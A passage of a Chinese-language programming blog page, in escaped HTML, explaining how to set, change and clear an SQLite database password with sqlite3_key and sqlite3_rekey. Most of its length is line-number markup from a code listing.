class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"type\"\u003eint\u003c/span\u003e i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//添加、使用密码       \u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     i =  sqlite3_key( db, \u003cspan class=\"string\"\u003e\u0026#34;dcg\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     \u003cspan class=\"comment\"\u003e//修改密码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e     i =  sqlite3_rekey( db, \u003cspan class=\"string\"\u003e\u0026#34;dcg\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e用 sqlite3_key 函数来提交密码。\u003c/p\u003e\u003cp\u003e第1个参数是 sqlite3 * 类型变量,代表着用 sqlite3_open 打开的数据库(或新建数据库)。\u003c/p\u003e\u003cp\u003e第2个参数是密钥。\u003c/p\u003e\u003cp\u003e第3个参数是密钥长度。\u003c/p\u003e\u003cp\u003e用 sqlite3_rekey 来修改密码。参数含义同 sqlite3_key。\u003c/p\u003e\u003cp\u003e实际上,你可以在sqlite3_open函数之后,到 sqlite3_close 函数之前任意位置调用 sqlite3_key 来设置密码。\u003c/p\u003e\u003cp\u003e但是如果你没有设置密码,而数据库之前是有密码的,那么你做任何操作都会得到一个返回值:SQLITE_NOTADB,并且得到错误提示:“file is encrypted or is not a database”。\u003c/p\u003e\u003cp\u003e只有当你用 sqlite3_key 设置了正确的密码,数据库才会正常工作。\u003c/p\u003e\u003cp\u003e如果你要修改密码,前提是你必须先 sqlite3_open 打开数据库成功,然后 sqlite3_key 设置密钥成功,之后才能用sqlite3_rekey 来修改密码。\u003c/p\u003e\u003cp\u003e如果数据库有密码,但你没有用 sqlite3_key 设置密码,那么当你尝试用 sqlite3_rekey 来修改密码时会得到SQLITE_NOTADB 返回值。\u003c/p\u003e\u003cp\u003e如果你需要清空密码,可以使用:\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e//修改密码\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ei =  sqlite3_rekey( db, \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e, \u003cspan class=\"number\"\u003e0\u003c/span\u003e );\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e来完成密码清空功能。\u003c/p\u003e\u003cp\u003e4 sqlite3.c 最后添加代码段\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e31\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e33\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e34\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e35\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e36\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e37\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e38\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e39\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e40\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e41\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e42\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e43\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e44\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e45\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e46\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e47\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e48\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e49\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e50\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e51\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e52\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e53\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e54\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e55\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e56\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e57\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e58\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e59\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e60\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e61\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e62\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e63\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e64\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e65\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e66\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e67\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e68\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e69\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e70\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e71\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e72\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e73\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e74\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e75\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e76\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e77\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e78\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e79\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e80\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e81\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e82\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e83\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e84\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e85\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e86\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e87\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e88\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e89\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e90\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e91\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e92\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e93\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e94\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e95\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e96\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e97\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e98\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e99\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e100\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e101\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e102\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e103\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e104\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e105\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e106\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e107\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e108\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e109\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e110\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e111\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e112\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e113\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e114\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e115\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e116\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e117\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e118\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e119\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e120\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e121\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e122\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e123\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e124\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e125\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e126\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e127\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e128\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e129\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e130\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e131\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e132\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e133\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e134\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e135\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e136\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e137\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e138\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e139\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e140\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e141\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e142\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e143\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e144\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e145\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e146\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e147\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e148\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e149\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e150\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e151\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e152\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e153\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e154\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e155\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e156\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e157\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e158\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e159\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e160\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e161\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e162\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e163\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e164\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e165\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e166\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e167\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e168\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e169\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e170\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e171\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e172\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e173\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e174\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e175\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e176\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e177\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e178\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e179\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e180\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e181\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e182\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e183\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e184\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e185\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e186\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e187\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e188\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e189\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e190\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e191\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e192\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e193\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e194\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e195\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e196\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e197\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e198\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e199\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e200\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e201\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e202\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e203\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e204\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e205\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e206\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e207\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e208\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e209\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e210\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e211\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e212\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e213\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e214\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e215\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e216\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e217\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e218\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e219\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e220\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e221\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e222\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e223\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e224\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e225\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e226\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e227\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e228\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e229\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e230\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e231\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e232\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e233\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e234\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e235\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e236\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e237\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e238\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e239\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e240\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e241\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e242\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e243\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e244\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e245\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e246\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e247\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e248\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e249\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e250\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e251\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e252\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e253\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e254\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e255\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e256\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e257\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e258\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e259\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e260\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e261\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e262\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e263\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e264\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e265\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e266\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e267\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e268\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e269\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e270\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e271\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e272\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e273\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e274\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e275\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e276\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e277\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e278\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e279\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e280\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e281\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e282\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e283\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e284\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e285\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e286\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e287\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e288\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e289\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e290\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e291\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e292\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e293\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e294\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e295\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e296\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e297\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e298\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e299\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e300\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e301\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e302\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e303\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e304\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e305\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e306\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e307\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e308\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e309\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e310\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e311\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e312\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e313\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e314\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e315\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e316\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e317\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e318\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e319\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e320\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e321\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e322\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e323\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e324\u003c/span\u003e\u003cbr/\u003e\u003cspan 